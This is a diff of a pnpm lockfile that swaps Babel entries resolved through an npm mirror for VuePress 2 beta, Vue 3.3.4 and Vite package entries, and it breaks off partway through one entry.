registry.npmmirror.com/@babel/helpers/7.17.9: - resolution: {integrity: sha512-cPCt915ShDWUEzEp3+UNRktO2n6v49l5RSnG9M5pS24hA+2FAc5si+Pn1i4VVbQQ+jh+bIZhPFQOJOzbrOYY1Q==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/helpers/-/helpers-7.17.9.tgz} - name: '@babel/helpers' - version: 7.17.9 - engines: {node: '>=6.9.0'} + /@types/sax@1.2.4: + resolution: {integrity: sha512-pSAff4IAxJjfAXUG6tFkO7dsSbTmf8CtUpfhhZ5VhkRpC4628tJhh3+V6H1E+/Gs9piSzYKT5yzHO5M4GG9jkw==} dependencies: - '@babel/template': registry.npmmirror.com/@babel/template/7.16.7 - '@babel/traverse': registry.npmmirror.com/@babel/traverse/7.17.10 - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 - transitivePeerDependencies: - - supports-color + '@types/node': 17.0.32 dev: true - registry.npmmirror.com/@babel/highlight/7.17.9: - resolution: {integrity: sha512-J9PfEKCbFIv2X5bjTMiZu6Vf341N05QIY+d6FvVKynkG1S7G0j3I0QoRtWIrXhZ+/Nlb5Q0MzqL7TokEJ5BNHg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/highlight/-/highlight-7.17.9.tgz} - name: '@babel/highlight' - version: 7.17.9 - engines: {node: '>=6.9.0'} - dependencies: - '@babel/helper-validator-identifier': registry.npmmirror.com/@babel/helper-validator-identifier/7.16.7 - chalk: registry.npmmirror.com/chalk/2.4.2 - js-tokens: registry.npmmirror.com/js-tokens/4.0.0 + /@types/trusted-types@2.0.2: + resolution: {integrity: sha512-F5DIZ36YVLE+PN+Zwws4kJogq47hNgX3Nx6WyDJ3kcplxyke3XIzB8uK5n/Lpm1HBsbGzd6nmGehL8cPekP+Tg==} dev: true - registry.npmmirror.com/@babel/parser/7.17.10: - resolution: {integrity: sha512-n2Q6i+fnJqzOaq2VkdXxy2TCPCWQZHiCo0XqmrCvDWcZQKRyZzYi4Z0yxlBuN0w+r2ZHmre+Q087DSrw3pbJDQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/parser/-/parser-7.17.10.tgz} - name: '@babel/parser' - version: 7.17.10 - engines: {node: '>=6.0.0'} - hasBin: true - dependencies: - '@babel/types': registry.npmmirror.com/@babel/types/7.17.10 + /@types/unist@2.0.6: + resolution: {integrity: sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==} dev: true - registry.npmmirror.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-anv/DObl7waiGEnC24O9zqL0pSuI9hljihqiDuFHC8d7/bjr/4RLGPWuc8rYOff/QPzbEPSkzG8wGG9aDuhHRg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/7.16.7 - name: '@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /@types/web-bluetooth@0.0.17: + resolution: {integrity: sha512-4p9vcSmxAayx72yn70joFoL44c9MO/0+iVEBIQXe3v2h2SiAsEIo/G5v6ObFWvNKRFjbrVadNf9LqEEZeQPzdA==} dev: true - registry.npmmirror.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-di8vUHRdf+4aJ7ltXhaDbPoszdkh59AQtJM5soLsuHpQJdFQZOA4uGj0V2u/CZ8bJ/u8ULDL5yq6FO/bCXnKHw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/7.16.7 - name: '@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@vitejs/plugin-vue@4.2.3(vite@4.3.9)(vue@3.3.4): + resolution: {integrity: sha512-R6JDUfiZbJA9cMiguQ7jxALsgiprjBeHL5ikpXfJCH62pPHtI+JdJ5xWj6Ev73yXSlYl86+blXn1kZHQ7uElxw==} + engines: {node: ^14.18.0 || >=16.0.0} peerDependencies: - '@babel/core': ^7.13.0 + vite: ^4.0.0 + vue: ^3.2.25 dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-skip-transparent-expression-wrappers': registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/7.16.0 - '@babel/plugin-proposal-optional-chaining': registry.npmmirror.com/@babel/plugin-proposal-optional-chaining/7.16.7_@babel+core@7.17.10 + vite: 4.3.9(@types/node@17.0.32) + vue: 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-proposal-async-generator-functions/7.16.8_@babel+core@7.17.10: - resolution: {integrity: sha512-71YHIvMuiuqWJQkebWJtdhQTfd4Q4mF76q2IX37uZPkG9+olBxsX+rH1vkhFto4UeJZ9dPY2s+mDvhDm1u2BGQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.16.8.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-async-generator-functions/7.16.8 - name: '@babel/plugin-proposal-async-generator-functions' - version: 7.16.8 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/compiler-core@3.3.4: + resolution: {integrity: sha512-cquyDNvZ6jTbf/+x+AgM2Arrp6G4Dzbb0R64jiG804HRMfRiFXWI6kqUVqZ6ZR0bQhIoQjB4+2bhNtVwndW15g==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-remap-async-to-generator': registry.npmmirror.com/@babel/helper-remap-async-to-generator/7.16.8 - '@babel/plugin-syntax-async-generators': registry.npmmirror.com/@babel/plugin-syntax-async-generators/7.8.4_@babel+core@7.17.10 - transitivePeerDependencies: - - supports-color + '@babel/parser': 7.22.7 + '@vue/shared': 3.3.4 + estree-walker: 2.0.2 + source-map-js: 1.0.2 dev: true - registry.npmmirror.com/@babel/plugin-proposal-class-properties/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-IobU0Xme31ewjYOShSIqd/ZGM/r/cuOz2z0MDbNrhF5FW+ZVgi0f2lyeoj9KFPDOAqsYxmLWZte1WOwlvY9aww==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-class-properties/7.16.7 - name: '@babel/plugin-proposal-class-properties' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/compiler-dom@3.3.4: + resolution: {integrity: sha512-wyM+OjOVpuUukIq6p5+nwHYtj9cFroz9cwkfmP9O1nzH68BenTTv0u7/ndggT8cIQlnBeOo6sUT/gvHcIkLA5w==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-class-features-plugin': registry.npmmirror.com/@babel/helper-create-class-features-plugin/7.17.9_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - transitivePeerDependencies: - - supports-color + '@vue/compiler-core': 3.3.4 + '@vue/shared': 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-proposal-class-static-block/7.17.6_@babel+core@7.17.10: - resolution: {integrity: sha512-X/tididvL2zbs7jZCeeRJ8167U/+Ac135AM6jCAx6gYXDUviZV5Ku9UDvWS2NCuWlFjIRXklYhwo6HhAC7ETnA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.17.6.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-class-static-block/7.17.6 - name: '@babel/plugin-proposal-class-static-block' - version: 7.17.6 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.12.0 + /@vue/compiler-sfc@3.3.4: + resolution: {integrity: sha512-6y/d8uw+5TkCuzBkgLS0v3lSM3hJDntFEiUORM11pQ/hKvkhSKZrXW6i69UyXlJQisJxuUEJKAWEqWbWsLeNKQ==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-class-features-plugin': registry.npmmirror.com/@babel/helper-create-class-features-plugin/7.17.9_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-class-static-block': registry.npmmirror.com/@babel/plugin-syntax-class-static-block/7.14.5_@babel+core@7.17.10 - transitivePeerDependencies: - - supports-color + '@babel/parser': 7.22.7 + '@vue/compiler-core': 3.3.4 + '@vue/compiler-dom': 3.3.4 + '@vue/compiler-ssr': 3.3.4 + '@vue/reactivity-transform': 3.3.4 + '@vue/shared': 3.3.4 + estree-walker: 2.0.2 + magic-string: 0.30.1 + postcss: 8.4.25 + source-map-js: 1.0.2 dev: true - registry.npmmirror.com/@babel/plugin-proposal-dynamic-import/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-I8SW9Ho3/8DRSdmDdH3gORdyUuYnk1m4cMxUAdu5oy4n3OfN8flDEH+d60iG7dUfi0KkYwSvoalHzzdRzpWHTg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-dynamic-import/7.16.7 - name: '@babel/plugin-proposal-dynamic-import' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/compiler-ssr@3.3.4: + resolution: {integrity: sha512-m0v6oKpup2nMSehwA6Uuu+j+wEwcy7QmwMkVNVfrV9P2qE5KshC6RwOCq8fjGS/Eak/uNb8AaWekfiXxbBB6gQ==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-dynamic-import': registry.npmmirror.com/@babel/plugin-syntax-dynamic-import/7.8.3_@babel+core@7.17.10 + '@vue/compiler-dom': 3.3.4 + '@vue/shared': 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-proposal-export-namespace-from/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-ZxdtqDXLRGBL64ocZcs7ovt71L3jhC1RGSyR996svrCi3PYqHNkb3SwPJCs8RIzD86s+WPpt2S73+EHCGO+NUA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-export-namespace-from/7.16.7 - name: '@babel/plugin-proposal-export-namespace-from' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-export-namespace-from': registry.npmmirror.com/@babel/plugin-syntax-export-namespace-from/7.8.3_@babel+core@7.17.10 + /@vue/devtools-api@6.5.0: + resolution: {integrity: sha512-o9KfBeaBmCKl10usN4crU53fYtC1r7jJwdGKjPT24t348rHxgfpZ0xL3Xm/gLUYnc0oTp8LAmrxOeLyu6tbk2Q==} dev: true - registry.npmmirror.com/@babel/plugin-proposal-json-strings/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-lNZ3EEggsGY78JavgbHsK9u5P3pQaW7k4axlgFLYkMd7UBsiNahCITShLjNQschPyjtO6dADrL24757IdhBrsQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-json-strings/7.16.7 - name: '@babel/plugin-proposal-json-strings' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/reactivity-transform@3.3.4: + resolution: {integrity: sha512-MXgwjako4nu5WFLAjpBnCj/ieqcjE2aJBINUNQzkZQfzIZA4xn+0fV1tIYBJvvva3N3OvKGofRLvQIwEQPpaXw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-json-strings': registry.npmmirror.com/@babel/plugin-syntax-json-strings/7.8.3_@babel+core@7.17.10 + '@babel/parser': 7.22.7 + '@vue/compiler-core': 3.3.4 + '@vue/shared': 3.3.4 + estree-walker: 2.0.2 + magic-string: 0.30.1 dev: true - registry.npmmirror.com/@babel/plugin-proposal-logical-assignment-operators/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-K3XzyZJGQCr00+EtYtrDjmwX7o7PLK6U9bi1nCwkQioRFVUv6dJoxbQjtWVtP+bCPy82bONBKG8NPyQ4+i6yjg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-logical-assignment-operators/7.16.7 - name: '@babel/plugin-proposal-logical-assignment-operators' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/reactivity@3.3.4: + resolution: {integrity: sha512-kLTDLwd0B1jG08NBF3R5rqULtv/f8x3rOFByTDz4J53ttIQEDmALqKqXY0J+XQeN0aV2FBxY8nJDf88yvOPAqQ==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-logical-assignment-operators': registry.npmmirror.com/@babel/plugin-syntax-logical-assignment-operators/7.10.4_@babel+core@7.17.10 + '@vue/shared': 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-proposal-nullish-coalescing-operator/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-aUOrYU3EVtjf62jQrCj63pYZ7k6vns2h/DQvHPWGmsJRYzWXZ6/AsfgpiRy6XiuIDADhJzP2Q9MwSMKauBQ+UQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-nullish-coalescing-operator/7.16.7 - name: '@babel/plugin-proposal-nullish-coalescing-operator' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-nullish-coalescing-operator': registry.npmmirror.com/@babel/plugin-syntax-nullish-coalescing-operator/7.8.3_@babel+core@7.17.10 + /@vue/repl@2.5.5: + resolution: {integrity: sha512-wzhUz4kqVHarN1oykypFP8e81VLJMRd0Gtkwa945XbAI1mIGTVVyxgs93H6f73NHsHTD+S144UYLUPVCnlqjeQ==} + requiresBuild: true dev: true - registry.npmmirror.com/@babel/plugin-proposal-numeric-separator/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-vQgPMknOIgiuVqbokToyXbkY/OmmjAzr/0lhSIbG/KmnzXPGwW/AdhdKpi+O4X/VkWiWjnkKOBiqJrTaC98VKw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-numeric-separator/7.16.7 - name: '@babel/plugin-proposal-numeric-separator' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/runtime-core@3.3.4: + resolution: {integrity: sha512-R+bqxMN6pWO7zGI4OMlmvePOdP2c93GsHFM/siJI7O2nxFRzj55pLwkpCedEY+bTMgp5miZ8CxfIZo3S+gFqvA==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-numeric-separator': registry.npmmirror.com/@babel/plugin-syntax-numeric-separator/7.10.4_@babel+core@7.17.10 + '@vue/reactivity': 3.3.4 + '@vue/shared': 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-proposal-object-rest-spread/7.17.3_@babel+core@7.17.10: - resolution: {integrity: sha512-yuL5iQA/TbZn+RGAfxQXfi7CNLmKi1f8zInn4IgobuCWcAb7i+zj4TYzQ9l8cEzVyJ89PDGuqxK1xZpUDISesw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.17.3.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-object-rest-spread/7.17.3 - name: '@babel/plugin-proposal-object-rest-spread' - version: 7.17.3 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vue/runtime-dom@3.3.4: + resolution: {integrity: sha512-Aj5bTJ3u5sFsUckRghsNjVTtxZQ1OyMWCr5dZRAPijF/0Vy4xEoRCwLyHXcj4D0UFbJ4lbx3gPTgg06K/GnPnQ==} dependencies: - '@babel/compat-data': registry.npmmirror.com/@babel/compat-data/7.17.10 - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-compilation-targets': registry.npmmirror.com/@babel/helper-compilation-targets/7.17.10_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-object-rest-spread': registry.npmmirror.com/@babel/plugin-syntax-object-rest-spread/7.8.3_@babel+core@7.17.10 - '@babel/plugin-transform-parameters': registry.npmmirror.com/@babel/plugin-transform-parameters/7.16.7_@babel+core@7.17.10 + '@vue/runtime-core': 3.3.4 + '@vue/shared': 3.3.4 + csstype: 3.1.2 dev: true - registry.npmmirror.com/@babel/plugin-proposal-optional-catch-binding/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-eMOH/L4OvWSZAE1VkHbr1vckLG1WUcHGJSLqqQwl2GaUqG6QjddvrOaTUMNYiv77H5IKPMZ9U9P7EaHwvAShfA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-optional-catch-binding/7.16.7 - name: '@babel/plugin-proposal-optional-catch-binding' - version: 7.16.7 - engines: {node: '>=6.9.0'} + /@vue/server-renderer@3.3.4(vue@3.3.4): + resolution: {integrity: sha512-Q6jDDzR23ViIb67v+vM1Dqntu+HUexQcsWKhhQa4ARVzxOY2HbC7QRW/ggkDBd5BU+uM1sV6XOAP0b216o34JQ==} peerDependencies: - '@babel/core': ^7.0.0-0 + vue: 3.3.4 dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-optional-catch-binding': registry.npmmirror.com/@babel/plugin-syntax-optional-catch-binding/7.8.3_@babel+core@7.17.10 + '@vue/compiler-ssr': 3.3.4 + '@vue/shared': 3.3.4 + vue: 3.3.4 dev: true - registry.npmmirror.com/@babel/plugin-proposal-optional-chaining/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-eC3xy+ZrUcBtP7x+sq62Q/HYd674pPTb/77XZMb5wbDPGWIdUbSr4Agr052+zaUPSb+gGRnjxXfKFvx5iMJ+DA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-optional-chaining/7.16.7 - name: '@babel/plugin-proposal-optional-chaining' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/helper-skip-transparent-expression-wrappers': registry.npmmirror.com/@babel/helper-skip-transparent-expression-wrappers/7.16.0 - '@babel/plugin-syntax-optional-chaining': registry.npmmirror.com/@babel/plugin-syntax-optional-chaining/7.8.3_@babel+core@7.17.10 + /@vue/shared@3.3.4: + resolution: {integrity: sha512-7OjdcV8vQ74eiz1TZLzZP4JwqM5fA94K6yntPS5Z25r9HDuGNzaGdgvwKYq6S+MxwF0TFRwe50fIR/MYnakdkQ==} dev: true - registry.npmmirror.com/@babel/plugin-proposal-private-methods/7.16.11_@babel+core@7.17.10: - resolution: {integrity: sha512-F/2uAkPlXDr8+BHpZvo19w3hLFKge+k75XUprE6jaqKxjGkSYcK+4c+bup5PdW/7W/Rpjwql7FTVEDW+fRAQsw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.16.11.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-private-methods/7.16.11 - name: '@babel/plugin-proposal-private-methods' - version: 7.16.11 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/bundler-vite@2.0.0-beta.64(@types/node@17.0.32): + resolution: {integrity: sha512-VoEnavMbMZgKQTeKsSv/ybkQRiJkNJwiCeOkJiK7WqmoNSOcUwMJhsmViMMhUmFt+TyVN+GkXdd0kpcZIiKVhg==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-class-features-plugin': registry.npmmirror.com/@babel/helper-create-class-features-plugin/7.17.9_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vitejs/plugin-vue': 4.2.3(vite@4.3.9)(vue@3.3.4) + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + autoprefixer: 10.4.14(postcss@8.4.25) + connect-history-api-fallback: 2.0.0 + postcss: 8.4.25 + postcss-load-config: 4.0.1(postcss@8.4.25) + rollup: 3.26.2 + vite: 4.3.9(@types/node@17.0.32) + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) transitivePeerDependencies: + - '@types/node' + - '@vue/composition-api' + - less + - sass + - stylus + - sugarss - supports-color + - terser + - ts-node dev: true - registry.npmmirror.com/@babel/plugin-proposal-private-property-in-object/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-rMQkjcOFbm+ufe3bTZLyOfsOUOxyvLXZJCTARhJr+8UMSoZmqTe1K1BgkFcrW37rAchWg57yI69ORxiWvUINuQ==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-private-property-in-object/7.16.7 - name: '@babel/plugin-proposal-private-property-in-object' - version: 7.16.7 - engines: {node: '>=6.9.0'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/cli@2.0.0-beta.64: + resolution: {integrity: sha512-eUw85TbUfiUVfW8sMzFXqVdy6RIZK2Gk2sE2ew95QmOb0LR4IG8zkroc5XtqhsYCWNjx2lEEizhIce73ywywzg==} + hasBin: true dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-annotate-as-pure': registry.npmmirror.com/@babel/helper-annotate-as-pure/7.16.7 - '@babel/helper-create-class-features-plugin': registry.npmmirror.com/@babel/helper-create-class-features-plugin/7.17.9_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 - '@babel/plugin-syntax-private-property-in-object': registry.npmmirror.com/@babel/plugin-syntax-private-property-in-object/7.14.5_@babel+core@7.17.10 + '@vuepress/core': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + cac: 6.7.14 + chokidar: 3.5.3 + envinfo: 7.10.0 + esbuild: 0.17.19 transitivePeerDependencies: + - '@vue/composition-api' - supports-color dev: true - registry.npmmirror.com/@babel/plugin-proposal-unicode-property-regex/7.16.7_@babel+core@7.17.10: - resolution: {integrity: sha512-QRK0YI/40VLhNVGIjRNAAQkEHws0cswSdFFjpFyt943YmJIU1da9uW63Iu6NFV6CxTZW5eTDCrwZUstBWgp/Rg==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.16.7.tgz} - id: registry.npmmirror.com/@babel/plugin-proposal-unicode-property-regex/7.16.7 - name: '@babel/plugin-proposal-unicode-property-regex' - version: 7.16.7 - engines: {node: '>=4'} - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/client@2.0.0-beta.64: + resolution: {integrity: sha512-zYXh2lwtLHxmc8+jNWokLYv7WtxJMWWzrstJH7RCjNv7iGJVl6fk1QvbWlKQcCfmhXIvO4lgrI2IV2sQYr3mkg==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-create-regexp-features-plugin': registry.npmmirror.com/@babel/helper-create-regexp-features-plugin/7.17.0_@babel+core@7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vue/devtools-api': 6.5.0 + '@vuepress/shared': 2.0.0-beta.64 + '@vueuse/core': 10.2.1(vue@3.3.4) + vue: 3.3.4 + vue-router: 4.2.4(vue@3.3.4) + transitivePeerDependencies: + - '@vue/composition-api' dev: true - registry.npmmirror.com/@babel/plugin-syntax-async-generators/7.8.4_@babel+core@7.17.10: - resolution: {integrity: sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-async-generators/7.8.4 - name: '@babel/plugin-syntax-async-generators' - version: 7.8.4 - peerDependencies: - '@babel/core': ^7.0.0-0 + /@vuepress/core@2.0.0-beta.64: + resolution: {integrity: sha512-XbYeOwLL6cwTXG3orj2G4tD7EBhNbUpsx/NV/GPSJZk09fZIxmkA/GyNvb7wDvhg1npqCO6hanDu52FkLvT5bw==} dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + '@vuepress/client': 2.0.0-beta.64 + '@vuepress/markdown': 2.0.0-beta.64 + '@vuepress/shared': 2.0.0-beta.64 + '@vuepress/utils': 2.0.0-beta.64 + vue: 3.3.4 + transitivePeerDependencies: + - '@vue/composition-api' + - supports-color dev: true - registry.npmmirror.com/@babel/plugin-syntax-class-properties/7.12.13_@babel+core@7.17.10: - resolution: {integrity: sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==, registry: https://registry.npm.taobao.org/, tarball: https://registry.npmmirror.com/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz} - id: registry.npmmirror.com/@babel/plugin-syntax-class-properties/7.12.13 - name: '@babel/plugin-syntax-class-properties' - version: 7.12.13 - peerDependencies: - '@babel/core': ^7.0.0-0 - dependencies: - '@babel/core': registry.npmmirror.com/@babel/core/7.17.10 - '@babel/helper-plugin-utils': registry.npmmirror.com/@babel/helper-plugin-utils/7.16.7 + /@vuepress/markdown@2.0.0-beta.64: + resolution: {integrity: sha512-AAKiKrYTcIYdOx1bOBoB/3nErniqyg7Nrncaq4xCfczf+Ec1oZHS8pp6hsTdmlcTNp5oEOeygnFFAr20fd3M7A==} + dependencies: + '@mdit-vue/plugin-component': 0.12.0 + '@mdit-vue/plugin-frontmatter': 0.12.0 + '@mdit-vue/plugin-headers': 